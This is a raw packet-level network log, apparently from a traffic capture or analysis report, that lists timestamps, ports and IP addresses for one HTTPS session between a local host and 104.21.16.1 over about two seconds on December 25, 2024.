Dec 25, 2024 15:09:17.675426006 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:17.675450087 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:17.681229115 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:17.681252003 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:17.681299925 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:17.681312084 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:17.681328058 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:17.681351900 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:17.686381102 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:17.686427116 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:17.686461926 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:17.686494112 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:17.686510086 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:17.686531067 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:17.696008921 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:17.696032047 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:17.696082115 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:17.696094990 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:17.696125984 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:17.696145058 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:17.768476963 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:17.768501997 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:17.768554926 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:17.768585920 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:17.768603086 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:17.768626928 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:17.852636099 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:17.852658033 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:17.852711916 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:17.852750063 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:17.852768898 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:17.852798939 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:17.857618093 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:17.857644081 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:17.857677937 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:17.857692003 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:17.857716084 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:17.857733965 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:17.862602949 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:17.862631083 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:17.862665892 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:17.862675905 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:17.862703085 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:17.862715960 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:17.868247032 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:17.868268967 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:17.868310928 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:17.868328094 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:17.868345022 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:17.868369102 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:17.873069048 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:17.873090982 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:17.873136997 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:17.873156071 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:17.873172998 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:17.873197079 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:17.883722067 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:17.883747101 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:17.883784056 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:17.883800030 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:17.883815050 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:17.883840084 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:17.888636112 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:17.888669014 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:17.888712883 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:17.888731956 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:17.888747931 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:17.888772011 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:17.960927010 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:17.960959911 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:17.961045980 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:17.961083889 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:17.961102009 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:17.961141109 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.044866085 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.044944048 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.044991970 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.045016050 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.045031071 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.045059919 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.049194098 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.049215078 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.049283981 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.049294949 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.049381018 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.054680109 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.054703951 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.054753065 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.054761887 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.054788113 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.054830074 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.060257912 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.060287952 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.060364008 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.060373068 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.060420036 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.060465097 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.065411091 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.065431118 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.065498114 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.065507889 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.065562010 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.075958967 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.075979948 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.076020956 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.076065063 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.076101065 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.076129913 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.080697060 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.080720901 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.080777884 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.080786943 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.080813885 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.080836058 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.153301954 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.153328896 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.153384924 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.153405905 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.153420925 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.153446913 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.237004042 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.237062931 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.237117052 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.237129927 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.237159014 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.237181902 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.241487980 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.241514921 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.241556883 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.241564989 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.241595030 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.241615057 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.246937990 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.246969938 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.247021914 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.247035027 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.247090101 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.247090101 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.252531052 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.252553940 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.252612114 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.252620935 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.252646923 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.252670050 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.257601976 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.257626057 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.257683039 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.257699013 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.257715940 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.257740974 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.267991066 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.268016100 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.268098116 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.268111944 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.268155098 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.272972107 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.272994041 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.273066998 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.273077011 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.273125887 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.345679998 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.345706940 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.345876932 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.345876932 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.345896959 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.345947027 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.395833969 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.395881891 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.396028042 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.396028042 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.396039009 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.396091938 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.433732033 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.433758020 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.433808088 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.433816910 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.433851004 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.433871984 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.438996077 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.439018965 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.439062119 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.439069986 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.439095974 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.439121008 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.443891048 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.443928957 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.443965912 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.443974018 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.444009066 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.444021940 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.449501991 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.449523926 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.449568987 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.449577093 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.449605942 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.449628115 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.455092907 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.455117941 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.455163956 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.455173016 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.455199957 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.455220938 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.464771986 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.464792967 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.464865923 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.464874983 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.464920044 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.537929058 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.537964106 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.538139105 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.538149118 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.538196087 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.588171005 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.588211060 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.588238955 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.588251114 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.588265896 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.588289976 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.625804901 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.625828028 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.625886917 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.625902891 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.625915051 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.625941038 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.631326914 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.631351948 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.631388903 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.631397009 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.631412983 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.631434917 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.636893034 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.636915922 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.636960030 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.636966944 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.636982918 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.637006998 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.641839981 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.641865015 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.641906023 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.641913891 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.641933918 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.641951084 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.647319078 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.647351027 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.647386074 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.647394896 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.647411108 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.647434950 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.657274008 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.657299042 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.657332897 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.657341957 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.657366991 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.657386065 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.730132103 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.730156898 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.730220079 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.730237007 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.730423927 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.730423927 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.780642986 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.780668974 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.780838013 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.780838966 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.780857086 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.780910015 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.817954063 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.817977905 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.818053961 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.818062067 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.818088055 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.818109035 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.823581934 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.823605061 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.823664904 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.823673964 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.823718071 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.829080105 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.829102993 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.829145908 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.829154015 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.829180002 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.829196930 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.834043980 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.834068060 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.834108114 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.834116936 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.834141970 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.834161043 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.844835043 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.844860077 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.844897985 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.844907045 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.844929934 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.844952106 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.849534988 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.849555016 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.849594116 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.849602938 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.849631071 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.849663019 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.922295094 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.922317982 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.922399998 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.922424078 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:18.922440052 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:18.922461033 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:19.005794048 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:19.005822897 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:19.005970955 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:19.005970955 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:19.005989075 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:19.006037951 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:19.010215044 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:19.010236979 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:19.010308027 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:19.010317087 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:19.010386944 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:19.015724897 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:19.015746117 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:19.015788078 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:19.015796900 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:19.015826941 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:19.015852928 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:19.021306992 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:19.021328926 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:19.021372080 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:19.021380901 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:19.021413088 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:19.021428108 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:19.026215076 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:19.026235104 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:19.026293993 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:19.026304007 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:19.026343107 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:19.037262917 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:19.037322044 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:19.037358046 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:19.037370920 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:19.037585020 CET	49734	443	192.168.2.4	104.21.16.1
